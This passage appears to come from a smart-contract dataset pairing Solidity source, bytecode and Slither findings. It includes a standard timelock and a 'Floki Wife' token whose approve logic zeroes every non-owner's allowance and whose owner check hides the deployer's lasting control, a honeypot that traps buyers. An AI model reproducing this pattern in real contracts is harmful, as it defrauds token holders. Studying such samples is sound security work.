df523b3ef8460405161171791815260200190565b60405180910390a3505050505050565b6000808060646117378587611b1a565b6117419190611b39565b9050600061174f8287611a52565b96919550909350505050565b30600090815260026020526040902054611776908290611b02565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117b65785810183015185820160400152820161179a565b818111156117c8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086a57600080fd5b80356117fe816117de565b919050565b6000806040838503121561181657600080fd5b8235611821816117de565b946020939093013593505050565b6000806040838503121561184257600080fd5b50508035926020909101359150565b60008060006060848603121561186657600080fd5b8335611871816117de565b92506020840135611881816117de565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118bb57600080fd5b823567ffffffffffffffff808211156118d357600080fd5b818501915085601f8301126118e757600080fd5b8135818111156118f9576118f9611892565b8060051b604051601f19603f8301168101818110858211171561191e5761191e611892565b60405291825284820192508381018501918883111561193c57600080fd5b938501935b8285101561196157611952856117f3565b84529385019392850192611941565b98975050505050505050565b60006020828403121561197f57600080fd5b8135611643816117de565b60006020828403121561199c57600080fd5b5035919050565b801515811461086a57600080fd5b6000602082840312156119c357600080fd5b8135611643816119a3565b600080604083850312156119e157600080fd5b82356119ec816117de565b915060208301356119fc816117de565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a6457611a64611a3c565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a9357611a93611a3c565b5060010190565b600080600060608486031215611aaf57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ada57600080fd5b8151611643816119a3565b600060208284031215611af757600080fd5b8151611643816117de565b60008219821115611b1557611b15611a3c565b500190565b6000816000190483118215151615611b3457611b34611a3c565b500290565b600082611b5657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bab5784516001600160a01b031683529383019391830191600101611b86565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f04672d0eec4f1091970b9c4734ba4eba4f732625b07cce2bc7d2b08e0f7f60d64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,913 |
0xa573b2bf36f18b0f86d24755c0600fd89d7c7292 | /*
1️⃣ $FLOFE will be used for NFT auction, and also $FLOFE holders can stake their tokens to earn NFTs.
2️⃣ $FLOFE itself is an ETH reflectional token where the holders are being rewarded in ETH.
3️⃣ Strong FTP Anti-Bot
🔗 Website: https://www.flokiwife.net
🔗 Twitter: https://twitter.com/flokiwife
🔗 Telegram: https://t.me/flokiwifeofficial
🏮 Contract: BankETH + FTP Anti-Bot
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract FlokiWife is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**6 * 10**18;
string private _name = 'Floki Wife ';
string private _symbol = 'FLOFE';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f17218d49af06d1211ddfdd83eb7a8096f8b194acb9101e406b4921f9ee8b90064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,914 |
0x2b59a10a666cdbb28840c607b248e71eeebc7e4a | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100d25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461063a578063e177246e1461064f578063f2b0653714610679578063f851a440146106b7576100d2565b80636a42b8f8146105fb5780637d645fab14610610578063b1b43ae514610625576100d2565b80633a66f901116100b05780633a66f901146102ed5780634dd18bf51461045d578063591fcdfe1461049d576100d2565b80630825f38f146100d45780630e18b6811461029a57806326782247146102af575b005b610225600480360360a08110156100ea57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561012757600080fd5b82018360208201111561013957600080fd5b8035906020019184600183028401116401000000008311171561015b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101ae57600080fd5b8201836020820111156101c057600080fd5b803590602001918460018302840111640100000000831117156101e257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106cc915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025f578181015183820152602001610247565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a657600080fd5b506100d2610d4a565b3480156102bb57600080fd5b506102c4610e32565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102f957600080fd5b5061044b600480360360a081101561031057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561034d57600080fd5b82018360208201111561035f57600080fd5b8035906020019184600183028401116401000000008311171561038157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103d457600080fd5b8201836020820111156103e657600080fd5b8035906020019184600183028401116401000000008311171561040857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e4e915050565b60408051918252519081900360200190f35b34801561046957600080fd5b506100d26004803603602081101561048057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111c7565b3480156104a957600080fd5b506100d2600480360360a08110156104c057600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516916020810135918101906060810160408201356401000000008111156104fd57600080fd5b82018360208201111561050f57600080fd5b8035906020019184600183028401116401000000008311171561053157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561058457600080fd5b82018360208201111561059657600080fd5b803590602001918460018302840111640100000000831117156105b857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611294915050565b34801561060757600080fd5b5061044b611598565b34801561061c57600080fd5b5061044b61159e565b34801561063157600080fd5b5061044b6115a5565b34801561064657600080fd5b5061044b6115ac565b34801561065b57600080fd5b506100d26004803603602081101561067257600080fd5b50356115b3565b34801561068557600080fd5b506106a36004803603602081101561069c57600080fd5b50356116f6565b604080519115158252519081900360200190f35b3480156106c357600080fd5b506102c461170b565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461073f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806117a76038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107c85781810151838201526020016107b0565b50505050905090810190601f1680156107f55780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610828578181015183820152602001610810565b50505050905090810190601f1680156108555780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506108fe9650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806118fa603d913960400191505060405180910390fd5b82610907611727565b101561095e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001806118496045913960600191505060405180910390fd5b610971836212750063ffffffff61172b16565b610979611727565b11156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806118166033913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a14575083610ae9565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ab157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a74565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b5357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610b16565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610bb5576040519150601f19603f3d011682016040523d82523d6000602084013e610bba565b606091505b509150915081610c15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806119dd603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c